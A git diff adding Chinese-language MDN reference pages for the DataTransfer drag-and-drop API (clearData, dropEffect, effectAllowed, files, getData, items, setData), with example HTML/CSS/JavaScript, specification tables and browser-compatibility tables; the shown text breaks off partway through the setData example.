该方法只能在{{event("dragstart")}} 事件的处理程序中使用,因为这是拖动操作的数据存储只能写入的时间。

+
+ +

句法

+ +
DataTransfer.clearData([format]);
+
+ +

参数

+ +
+
format {{optional_inline}}
+
一个 {{domxref("DOMString","string")}}指定要删除的数据类型。如果此参数为空字符串或未提供,则将删除所有类型的数据。
+
+ +

范例

+ +

这个例子显示了使用{{domxref("DataTransfer")}}对象的{{domxref("DataTransfer.getData()","getData()")}}, {{domxref("DataTransfer.setData()","setData()")}} 和{{domxref("DataTransfer.clearData()","clearData()")}} 和

+ +

HTML

+ +
<span class="tweaked" id="source" draggable="true">
+  Select this element, drag it to the Drop Zone and then release the selection to move the element.
+</span>
+<span class="tweaked" id="target">Drop Zone</span>
+<div>Status: <span id="status">Drag to start</span></div>
+<div>Data is: <span id="data">uninitialized</span></div>
+
+ +

CSS

+ +
span.tweaked {
+  display: inline-block;
+  margin: 1em 0;
+  padding: 1em 2em;
+}
+
+#source {
+  color: blue;
+  border: 1px solid black;
+}
+
+#target {
+  border: 1px solid black;
+}
+
+ +

JavaScript

+ +
window.addEventListener('DOMContentLoaded', function () {
+  // Select HTML elements
+  var draggable = document.getElementById('source');
+  var dropable = document.getElementById('target');
+  var status = document.getElementById('status');
+  var data = document.getElementById('data');
+  var dropped = false;
+
+  // Register event handlers
+  draggable.addEventListener('dragstart', dragStartHandler);
+  draggable.addEventListener('dragend', dragEndHandler);
+  dropable.addEventListener('dragover', dragOverHandler);
+  dropable.addEventListener('dragleave', dragLeaveHandler);
+  dropable.addEventListener('drop', dropHandler);
+
+  function dragStartHandler (event) {
+    status.innerHTML = 'Drag in process';
+
+    // Change target element's border to signify drag has started
+    event.currentTarget.style.border = '1px dashed blue';
+
+    // Start by clearing existing clipboards; this will affect all types since we
+    // don't give a specific type.
+
+    event.dataTransfer.clearData();
+
+    // Set the drag's format and data (use event target's id for data)
+    event.dataTransfer.setData('text/plain', event.target.id);
+
+    data.innerHTML = event.dataTransfer.getData('text/plain');
+  }
+
+  function dragEndHandler (event) {
+    if (!dropped) {
+      status.innerHTML = 'Drag canceled';
+    }
+
+    data.innerHTML = event.dataTransfer.getData('text/plain') || 'empty';
+
+    // Change border to signify drag is no longer in process
+    event.currentTarget.style.border = '1px solid black';
+
+    if (dropped) {
+      // Remove all event listeners
+      draggable.removeEventListener('dragstart', dragStartHandler);
+      draggable.removeEventListener('dragend', dragEndHandler);
+      dropable.removeEventListener('dragover', dragOverHandler);
+      dropable.removeEventListener('dragleave', dragLeaveHandler);
+      dropable.removeEventListener('drop', dropHandler);
+    }
+  }
+
+  function dragOverHandler (event) {
+    status.innerHTML = 'Drop available';
+
+    event.preventDefault();
+  }
+
+  function dragLeaveHandler (event) {
+    status.innerHTML = 'Drag in process (drop was available)';
+
+    event.preventDefault();
+  }
+
+  function dropHandler (event) {
+    dropped = true;
+
+    status.innerHTML = 'Drop done';
+
+    event.preventDefault();
+
+    // Get data linked to event format « text »
+    var _data = event.dataTransfer.getData('text/plain');
+    var element = document.getElementById(_data);
+
+    // Append drag source element to event's target element
+    event.target.appendChild(element);
+
+    // Change CSS styles and displayed text
+    element.style.cssText = 'border: 1px solid black;display: block; color: red';
+    element.innerHTML = "I'm in the Drop Zone!";
+  }
+})
+
+ +

{{EmbedLiveSample('Example', 300, 250)}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5.1', 'editing.html#dom-datatransfer-cleardata','DataTransfer.clearData()')}}{{Spec2('HTML5.1')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}}10123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

也可以看看

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/zh-cn/web/api/datatransfer/datatransfer/index.html b/files/zh-cn/web/api/datatransfer/datatransfer/index.html new file mode 100644 index 0000000000..2655af1de2 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/datatransfer/index.html @@ -0,0 +1,47 @@ +--- +title: DataTransfer() +slug: Web/API/DataTransfer/DataTransfer +tags: + - API + - Constructor + - DataTransfer +translation_of: Web/API/DataTransfer/DataTransfer +--- +

{{APIRef("HTML Drag and Drop API")}}

+ +

通过构造函数 DataTransfer 创建一个新的 {{domxref("DataTransfer")}} 对象。注意,单独创建该对象没有意义,且Internet Explorer中 DataTransfer 不是一个构造函数。

+ +

语法

+ +
var dataTrans = new DataTransfer()
+ +

参数

+ +

+ +

返回值

+ +

一个空的 DataTransfer 对象。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG','#the-datatransfer-interface','DataTransfer')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.DataTransfer.DataTransfer")}}

diff --git a/files/zh-cn/web/api/datatransfer/dropeffect/index.html b/files/zh-cn/web/api/datatransfer/dropeffect/index.html new file mode 100644 index 0000000000..e6c14a9e4a --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/dropeffect/index.html @@ -0,0 +1,131 @@ +--- +title: DataTransfer.dropEffect +slug: Web/API/DataTransfer/dropEffect +translation_of: Web/API/DataTransfer/dropEffect +--- +
 {{APIRef("HTML Drag and Drop API")}}
+ +

DataTransfer.dropEffect 属性控制在拖放操作中给用户的反馈(通常是视觉上的)。它会影响在拖拽过程中光标的手势。例如,当用户 hover 在一个放置目标元素上,浏览器的光标可能会预示了将会发生什么操作。

+ +

当 {{domxref("DataTransfer")}} 被创建时, dropEffect 被设置为一个字符串。读这个值时会返回它的当前值。设置这个值时,如果这个新的值是下面列出的值中的一个,这个属性的值就会被设置为这个新的值,其他的值都会被忽略。

+ +

对于 {{event("dragenter")}} 和 {{event("dragover")}} 事件, dropEffect 会根据用户的请求的行为进行初始化。具体如何初始化和浏览器平台有关,但是通常来讲,用户可以通过按住修改键,比如 alt 键来修改想要的行为。当我们期望得到一个指定的行为时而不是用户的请求行为时,可以通过 {{event("dragenter")}} 和 {{event("dragover")}} 事件处理修改 dropEffect  的值。

+ +

对于 {{event("drop")}} 和 {{event("dragend")}} 事件,dropEffect 会被设置为想要得到的值,即最后一次 {{event("dragenter")}} 或 {{event("dragover")}} 事件后 dropEffect 的值。例如,在一个 {{event("dragend")}} 事件中,如果期望得到的 dropEffect 是 “move”,那么被拖拽的数据会从源中移除。

+ +

语法

+ +
dataTransfer.dropEffect;
+
+ +

+ +

一个代表拖动操作效果的{{domxref("DOMString")}},可能的值有:

+ +
+
copy
+
在新位置生成源项的副本
+
move
+
将项目移动到新位置
+
link
+
在新位置建立源项目的链接
+
none
+
项目可能禁止拖放(译者注:还与effectAllowed设置的值相关)
+
+ +

将任何其他值赋给dropEffect 都没有效果,这种情况下会保留旧值。

+ +

示例

+ +

这个例子演示了dropEffect 和 {{domxref("DataTransfer.effectAllowed","effectAllowed")}}属性的用法

+ +

HTML

+ +
<div>
+  <p id="source" ondragstart="dragstart_handler(event);" draggable="true">
+    Select this element, drag it to the Drop Zone and then release the selection to move the element.
+  </p>
+</div>
+<div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+
+ +

CSS

+ +
div {
+  margin: 0em;
+  padding: 2em;
+}
+
+#source {
+  color: blue;
+  border: 1px solid black;
+}
+
+#target {
+  border: 1px solid black;
+}
+
+ +

JavaScript

+ +
function dragstart_handler(ev) {
+  console.log("dragStart: dropEffect = " + ev.dataTransfer.dropEffect + " ; effectAllowed = " + ev.dataTransfer.effectAllowed);
+
+  // Add this element's id to the drag payload so the drop handler will
+  // know which element to add to its tree
+  ev.dataTransfer.setData("text", ev.target.id);
+  ev.dataTransfer.effectAllowed = "move";
+}
+
+function drop_handler(ev) {
+  console.log("drop: dropEffect = " + ev.dataTransfer.dropEffect + " ; effectAllowed = " + ev.dataTransfer.effectAllowed);
+  ev.preventDefault();
+
+  // Get the id of the target and add the moved element to the target's DOM
+  var data = ev.dataTransfer.getData("text");
+  ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+  console.log("dragOver: dropEffect = " + ev.dataTransfer.dropEffect + " ; effectAllowed = " + ev.dataTransfer.effectAllowed);
+  ev.preventDefault();
+  // Set the dropEffect to move
+  ev.dataTransfer.dropEffect = "move"
+}
+
+ +

{{EmbedLiveSample('Example', 300, 250)}}

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'interaction.html#dom-datatransfer-dropeffect','dropEffect')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#dom-datatransfer-dropeffect','dropEffect')}}{{Spec2('HTML5.1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DataTransfer.dropEffect")}}

+ +

另见

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/zh-cn/web/api/datatransfer/effectallowed/index.html b/files/zh-cn/web/api/datatransfer/effectallowed/index.html new file mode 100644 index 0000000000..ec2e64eee3 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/effectallowed/index.html @@ -0,0 +1,189 @@ +--- +title: DataTransfer.effectAllowed +slug: Web/API/DataTransfer/effectAllowed +translation_of: Web/API/DataTransfer/effectAllowed +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransfer.effectAllowed 属性指定拖放操作所允许的一个效果。copy 操作用于指示被拖动的数据将从当前位置复制到放置位置。move操作用于指定被拖动的数据将被移动。 link操作用于指示将在源和放置位置之间创建某种形式的关系或连接。

+ +

应该在{{event("dragstart")}}事件中设置此属性,以便为拖动源设置所需的拖动效果。在 {{event("dragenter")}} 和{{event("dragover")}} 事件处理程序中,该属性将设置为在{{event("dragstart")}} 事件期间分配的任何值,因此,可以使用effectAllowed来确定允许哪个效果。

+ +

effectAllowed赋一个值,以使其在除{{event("dragstart")}} 之外的事件中无效。

+ +

语法

+ +
dataTransfer.effectAllowed;
+
+ +

+ +

表示允许的拖动操作{{domxref("DOMString")}} 。这个可能值是:

+ +
+
none
+
此项表示不允许放下
+
copy
+
源项目的复制项可能会出现在新位置。
+
copyLink
+
允许 copy 或者 link 操作。
+
copyMove
+
允许 copy 或者 move 操作。
+
link
+
可以在新地方建立与源的链接。
+
linkMove
+
允许 link 或者 move 操作。
+
move
+
一个项目可能被移动到新位置。
+
all
+
允许所有的操作。
+
uninitialized
+
效果没有设置时的默认值,则等同于 all
+
+ +

分配一个没有效果的其他值给 effectAllowed,则保留原值。

+ +

Internet Explorer 会将该值改为小写。因此,linkMove将会变为linkmove ,等等。

+ +

举个例子

+ +

此例子展示 effectAllowed 用法 和 {{domxref("DataTransfer.dropEffect", "dropEffect")}} 属性

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of DataTransfer.{dropEffect,effectAllowed} properties</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #source {
+    color: blue;
+    border: 1px solid black;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+<script>
+function dragstart_handler(ev) {
+ console.log("dragStart: dropEffect = " + ev.dataTransfer.dropEffect + " ; effectAllowed = " + ev.dataTransfer.effectAllowed);
+ // 将这个元素的id添加到drag载荷中,
+ // 以便drop事件知道将哪个元素添加到其树中。
+ ev.dataTransfer.setData("text", ev.target.id);
+ ev.dataTransfer.effectAllowed = "move";
+}
+
+function drop_handler(ev) {
+ console.log("drop: dropEffect = " + ev.dataTransfer.dropEffect + " ; effectAllowed = " + ev.dataTransfer.effectAllowed);
+ ev.preventDefault();
+ // 得到目标的id并且将移动的元素添加到目标DOM中
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver: dropEffect = " + ev.dataTransfer.dropEffect + " ; effectAllowed = " + ev.dataTransfer.effectAllowed);
+ ev.preventDefault();
+ // 设置 dropEffect 为 move
+ ev.dataTransfer.dropEffect = "move"
+}
+</script>
+<body>
+<h1>Examples <code>DataTransfer</code>.{<code>dropEffect</code>, <code>effectAllowed</code>} properties</h1>
+ <div>
+   <p id="source" ondragstart="dragstart_handler(event);" draggable="true">
+     Select this element, drag it to the Drop Zone and then release the selection to move the element.</p>
+ </div>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-effectallowed", "effectAllowed")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-effectallowed", "effectAllowed")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}3.510123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
+ +

参考链接

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/zh-cn/web/api/datatransfer/files/index.html b/files/zh-cn/web/api/datatransfer/files/index.html new file mode 100644 index 0000000000..f6862d8b74 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/files/index.html @@ -0,0 +1,110 @@ +--- +title: DataTransfer.files +slug: Web/API/DataTransfer/files +translation_of: Web/API/DataTransfer/files +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransfer.files属性在拖动操作中表示{{domxref("FileList","文件列表")}}。如果操作不包含文件,则此列表为空。

+ +

此功能可用于将文件从用户桌面拖动到浏览器。

+ +

语法

+ +
dataTransfer.files;
+
+ +

返回值

+ +

拖动操作中的文件{{domxref("FileList","列表")}},操作中每个文件的一个列表项。 如果拖动操作没有文件,此列表为空。

+ +

举个例子

+ +

这个接口有两个实例:

+ + + +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-files", "files")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-files", "files")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}3.510123.1
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatIE("10")}}{{CompatNo}}{{CompatNo}}
+
diff --git a/files/zh-cn/web/api/datatransfer/getdata/index.html b/files/zh-cn/web/api/datatransfer/getdata/index.html new file mode 100644 index 0000000000..6e8916bb16 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/getdata/index.html @@ -0,0 +1,111 @@ +--- +title: DataTransfer.getData() +slug: Web/API/DataTransfer/getData +translation_of: Web/API/DataTransfer/getData +--- +
+

{{APIRef("HTML DOM")}}

+
+ +

DataTransfer.getData() 方法接受指定类型的拖放(以{{domxref("DOMString")}}的形式)数据。如果拖放行为没有操作任何数据,会返回一个空字符串。

+ +

数据类型有:text/plaintext/uri-list。

+ +

语法

+ +
DOMString dataTransfer.getData(format);
+
+ +

参数

+ +
+
format
+
{{domxref("DOMString")}}类型
+
+ +

返回值

+ +
+
{{domxref("DOMString")}}
+
返回一个给定类型的{{domxref("DOMString")}}格式的数据。如果没有操作数据或者没有指定操作数据的类型,都会返回一个空字符串。
+
+ +

注意

+ +

HTML5 拖放规范 规定了一个 drag data store mode。这可能会导致预期外的结果,即 DataTransfer.getData() 没有返回预期值。

+ +

示例

+ +

这个例子展示了 {{domxref("DataTransfer")}}对象的{{domxref("DataTransfer.getData()","getData()")}}和{{domxref("DataTransfer.setData()","setData()")}}方法。

+ +

HTML

+ +
<div id="div1" ondrop="drop(event)" ondragover="allowDrop(event)">
+    <span id="drag" draggable="true" ondragstart="drag(event)">drag me to the other box</span>
+</div>
+<div id="div2" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
+
+ +

CSS

+ +
#div1, #div2 {
+    width:100px;
+    height:50px;
+    padding:10px;
+    border:1px solid #aaaaaa;
+}
+
+ +

JavaScript

+ +
function allowDrop(allowdropevent) {
+    allowdropevent.target.style.color = 'blue';
+    allowdropevent.preventDefault();
+}
+
+function drag(dragevent) {
+    dragevent.dataTransfer.setData("text", dragevent.target.id);
+    dragevent.target.style.color = 'green';
+}
+
+function drop(dropevent) {
+    dropevent.preventDefault();
+    var data = dropevent.dataTransfer.getData("text");
+    dropevent.target.appendChild(document.getElementById(data));
+    document.getElementById("drag").style.color = 'black';
+}
+
+ +

结果

+ +

+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-getdata", "getData()")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-getdata", "getData()")}}{{Spec2("HTML5.1")}}Initial definition
+ +

兼容性

+ +

{{Compat("api.DataTransfer.getData")}}

+ +

参考

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/zh-cn/web/api/datatransfer/index.html b/files/zh-cn/web/api/datatransfer/index.html new file mode 100644 index 0000000000..aa2d75397e --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/index.html @@ -0,0 +1,148 @@ +--- +title: DataTransfer +slug: Web/API/DataTransfer +tags: + - API + - DataTransfer + - HTML Drag and Drop API + - NeedsMarkupWork + - Web Development + - 参考 + - 复制粘贴 + - 拖放 + - 接口 +translation_of: Web/API/DataTransfer +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransfer 对象用于保存拖动并放下(drag and drop)过程中的数据。它可以保存一项或多项数据,这些数据项可以是一种或者多种数据类型。关于拖放的更多信息,请参见 Drag and Drop.

+ +

这个对象可以从所有拖动事件 {{domxref("DragEvent","drag events")}} 的 {{domxref("DragEvent.dataTransfer","dataTransfer")}} 属性上获取。

+ +

构造函数

+ +

{{domxref("DataTransfer.DataTransfer","DataTransfer()")}}

+ +
+
生成并且返回一个新的 DataTransfer 对象。
+
+ +

属性

+ +

标准属性

+ +
+
{{domxref("DataTransfer.dropEffect")}}
+
获取当前选定的拖放操作类型或者设置的为一个新的类型。值必须为  nonecopylink 或 move
+
{{domxref("DataTransfer.effectAllowed")}}
+
提供所有可用的操作类型。必须是  nonecopycopyLinkcopyMovelinklinkMovemoveall or uninitialized 之一。
+
{{domxref("DataTransfer.files")}}
+
包含数据传输中可用的所有本地文件的列表。如果拖动操作不涉及拖动文件,则此属性为空列表。
+
{{domxref("DataTransfer.items")}} {{readonlyInline}}
+
提供一个包含所有拖动数据列表的 {{domxref("DataTransferItemList")}} 对象。
+
{{domxref("DataTransfer.types")}} {{readonlyInline}}
+
一个提供 {{event("dragstart")}} 事件中设置的格式的 {{domxref("DOMString","strings")}} 数组。
+
+ +

Gecko 属性

+ +

{{SeeCompatTable}}

+ +
注意:本节中的所有属性为 Gecko 特有。
+ +
+
{{domxref("DataTransfer.mozCursor")}}
+
给出拖动光标的状态。这主要用于在拖动期间控制光标。
+
{{domxref("DataTransfer.mozSourceNode")}} {{readonlyInline}}
+
按下鼠标按钮按下启动拖动操作时鼠标光标所在的 {{ domxref("Node") }} 。对于外部拖动或调用方无法访问节点,此值为  null 。
+
{{domxref("DataTransfer.mozUserCancelled")}} {{readonlyInline}}
+
此属性仅适用于 dragend 事件,如果通过用户按下 escape 取消拖动操作,则为 true 。在所有其他情况下,这将为 false ,包括由于其他原因(如,放置在无效位置)导致的拖动失败。
+
+

不推荐的属性

+
+
{{domxref("DataTransfer.mozItemCount")}} {{readonlyInline}} {{deprecated_inline}}
+
提供拖动操作中的项目数。在Firefox71中删除。
+
+ +

方法

+ +

标准方法

+ +
+
{{domxref("DataTransfer.clearData()")}}
+
删除与给定类型关联的数据。类型参数是可选的。如果类型为空或未指定,则删除与所有类型关联的数据。如果指定类型的数据不存在,或者 data transfer 中不包含任何数据,则该方法不会产生任何效果。
+
{{domxref("DataTransfer.getData()")}}
+
检索给定类型的数据,如果该类型的数据不存在或 data transfer不包含数据,则返回空字符串。
+
{{domxref("DataTransfer.setData()")}}
+
设置给定类型的数据。如果该类型的数据不存在,则将其添加到末尾,以便类型列表中的最后一项将是新的格式。如果该类型的数据已经存在,则在相同位置替换现有数据。
+
{{domxref("DataTransfer.setDragImage()")}}
+
用于设置自定义的拖动图像。
+
+ +

Gecko 方法

+ +

{{Non-standard_header()}}

+ +
+

注意:本节所有方法为 Gecko 专有。

+
+ +
+
{{domxref("DataTransfer.addElement()")}}
+
Sets the drag source to the given element.
+
+ +

不推荐的方法

+ +
+
{{domxref("DataTransfer.mozClearDataAt()")}} {{deprecated_inline}}
+
Removes the data associated with the given format for an item at the specified index. The index is in the range from zero to the number of items minus one. Removed in Firefox 71.
+
{{domxref("DataTransfer.mozGetDataAt()")}} {{deprecated_inline}}
+
Retrieves the data associated with the given format for an item at the specified index, or null if it does not exist. The index should be in the range from zero to the number of items minus one. Removed in Firefox 71.
+
{{domxref("DataTransfer.mozSetDataAt()")}} {{deprecated_inline}}
+
A data transfer may store multiple items, each at a given zero-based index. mozSetDataAt() may only be called with an index argument less than mozItemCount in which case an existing item is modified, or equal to mozItemCount in which case a new item is added, and the mozItemCount is incremented by one. Removed in Firefox 71.
+
{{domxref("DataTransfer.mozTypesAt()")}} {{deprecated_inline}}
+
Holds a list of the format types of the data that is stored for an item at the specified index. If the index is not in the range from 0 to the number of items minus one, an empty string list is returned. Removed in Firefox 71.
+
+ +

示例

+ +

本文档中的每个方法和属性都有自己的参考页面,每个参考页面中都直接包含了接口的示例或给出了示例的链接。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'interaction.html#datatransfer','DataTransfer')}}{{Spec2('HTML WHATWG')}}mozCursormozItemCountmozSourceNodemozUserCancelledaddElement()mozClearDataAt()mozGetDataAt()mozSetDataAt() and mozTypesAt are Gecko specific.
{{SpecName('HTML5.1', 'editing.html#the-datatransfer-interface','DataTransfer')}}{{Spec2('HTML5.1')}}Not included in W3C HTML5 {{Spec2('HTML5 W3C')}}
+ +

浏览器兼容性

+ +

{{Compat("api.DataTransfer")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/datatransfer/items/index.html b/files/zh-cn/web/api/datatransfer/items/index.html new file mode 100644 index 0000000000..27fadf40d5 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/items/index.html @@ -0,0 +1,113 @@ +--- +title: DataTransfer.items +slug: Web/API/DataTransfer/items +translation_of: Web/API/DataTransfer/items +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

{{domxref("DataTransfer")}}的items 属性只读,是拖动操作中 {{domxref("DataTransferItem","数据传输项")}}的{{domxref("DataTransferItemList","列表")}}。该列表包含了操作中每一项目的对应项,如果操作没有项目,则列表为空。

+ +

语法

+ +
itemList = dataTransfer.items;
+
+ +

返回值

+ +

一个{{domxref("DataTransferItemList")}} 对象,包含了表示拖动操作中被拖动项的{{domxref("DataTransferItem")}}对象,每一个拖动项对应一个列表项。如果拖动操作中没有数据,则列表为空。

+ +

示例

+ +

这个例子演示了 items 和 {{domxref("DataTransfer.types","types")}} 属性的用法.

+ +
<!DOCTYPE html>
+<html lang=en>
+<title>Examples of DataTransfer.{types,items} properties</title>
+<meta content="width=device-width">
+<style>
+  div {
+    margin: 0em;
+    padding: 2em;
+  }
+  #target {
+    border: 1px solid black;
+  }
+</style>
+<script>
+function dragstart_handler(ev) {
+ console.log("dragStart: target.id = " + ev.target.id);
+ // Add this element's id to the drag payload so the drop handler will
+ // know which element to add to its tree
+ ev.dataTransfer.setData("text/plain", ev.target.id);
+ ev.dataTransfer.effectAllowed = "move";
+}
+
+function drop_handler(ev) {
+ console.log("drop: target.id = " + ev.target.id);
+ ev.preventDefault();
+ // Get the id of the target and add the moved element to the target's DOM
+ var data = ev.dataTransfer.getData("text");
+ ev.target.appendChild(document.getElementById(data));
+ // Print each format type
+ if (ev.dataTransfer.types != null) {
+   for (var i=0; i < ev.dataTransfer.types.length; i++) {
+     console.log("... types[" + i + "] = " + ev.dataTransfer.types[i]);
+   }
+ }
+ // Print each item's "kind" and "type"
+ if (ev.dataTransfer.items != null) {
+   for (var i=0; i < ev.dataTransfer.items.length; i++) {
+     console.log("... items[" + i + "].kind = " + ev.dataTransfer.items[i].kind + " ; type = " + ev.dataTransfer.items[i].type);
+   }
+ }
+}
+
+function dragover_handler(ev) {
+ console.log("dragOver");
+ ev.preventDefault();
+ // Set the dropEffect to move
+ ev.dataTransfer.dropEffect = "move"
+}
+</script>
+<body>
+<h1>Examples of <code>DataTransfer</code>.{<code>types</code>, <code>items</code>} properties</h1>
+ <ul>
+   <li id="i1" ondragstart="dragstart_handler(event);" draggable="true">Drag Item 1 to the Drop Zone</li>
+   <li id="i2" ondragstart="dragstart_handler(event);" draggable="true">Drag Item 2 to the Drop Zone</li>
+ </ul>
+ <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">Drop Zone</div>
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("HTML WHATWG", "interaction.html#dom-datatransfer-items", "items")}}{{Spec2("HTML WHATWG")}}
{{SpecName("HTML5.1", "editing.html#dom-datatransfer-items", "items")}}{{Spec2("HTML5.1")}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.DataTransfer.items")}}

+ +

另见

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/zh-cn/web/api/datatransfer/setdata/index.html b/files/zh-cn/web/api/datatransfer/setdata/index.html new file mode 100644 index 0000000000..f6fff20969 --- /dev/null +++ b/files/zh-cn/web/api/datatransfer/setdata/index.html @@ -0,0 +1,196 @@ +--- +title: DataTransfer.setData() +slug: Web/API/DataTransfer/setData +tags: + - drag and drop +translation_of: Web/API/DataTransfer/setData +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

DataTransfer.setData() 方法用来设置拖放操作的{{domxref("DataTransfer","drag data")}}到指定的数据和类型。

+ +

如果给定类型的数据不存在,则将其添加到拖动数据存储的末尾,使得 {{domxref("DataTransfer.types","types")}} 列表中的最后一个项目将是新类型。

+ +

如果给定类型的数据已经存在,现有数据将被替换为相同的位置。也就是说,替换相同类型的数据时 {{domxref("DataTransfer.types","types")}}列表的顺序不会更改。

+ +

示例数据类型为:"text/plain" 和 "text/uri-list".

+ +

语法

+ +
void dataTransfer.setData(format, data);
+
+ +

参数

+ +
+
format
+
一个{{domxref("DOMString")}} 表示要添加到 {{domxref("DataTransfer","drag object")}}的拖动数据的类型。
+
data
+
一个 {{domxref("DOMString")}}表示要添加到 {{domxref("DataTransfer","drag object")}}的数据。
+
+ +

返回值

+ +
+
void
+
+ +

示例

+ +

 

+ +

此示例显示了使用 {{domxref("DataTransfer")}} 对象的 {{domxref("DataTransfer.getData","getData()")}}, {{domxref("DataTransfer.setData","setData()")}} }和{{domxref("DataTransfer.clearData","clearData()")}} 方法。

+ +
<!DOCTYPE html>
+<html lang="zh-CN">
+<head>
+    <meta charset="UTF-8">
+    <title>DataTransfer.setData()/.getData()/.clearData()</title>
+    <style>
+        div {
+            margin: 0em;
+            padding: 2em;
+        }
+        #source {
+            color: blue;
+            border: 1px solid black;
+        }
+        #target {
+            border: 1px solid black;
+        }
+    </style>
+</head>
+<body>
+    <section>
+        <h1>
+            <code>DataTransfer.setData()</code> <br>
+            <code>DataTransfer.getData()</code> <br>
+            <code>DataTransfer.clearData()</code>
+        </h1>
+        <div>
+            <p id="source" ondragstart="dragstart_handler(event);" draggable="true">
+                Select this element, drag it to the Drop Zone and then release the selection to move the element.
+            </p>
+        </div>
+        <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">
+            Drop Zone
+        </div>
+    </section>
+    <!-- js -->
+    <script>
+        function dragstart_handler(ev) {
+            console.log("dragStart");
+            // Change the source element's background color to signify drag has started
+            ev.currentTarget.style.border = "dashed";
+            // Set the drag's format and data. Use the event target's id for the data
+            ev.dataTransfer.setData("text/plain", ev.target.id);
+        }
+
+        function dragover_handler(ev) {
+            console.log("dragOver");
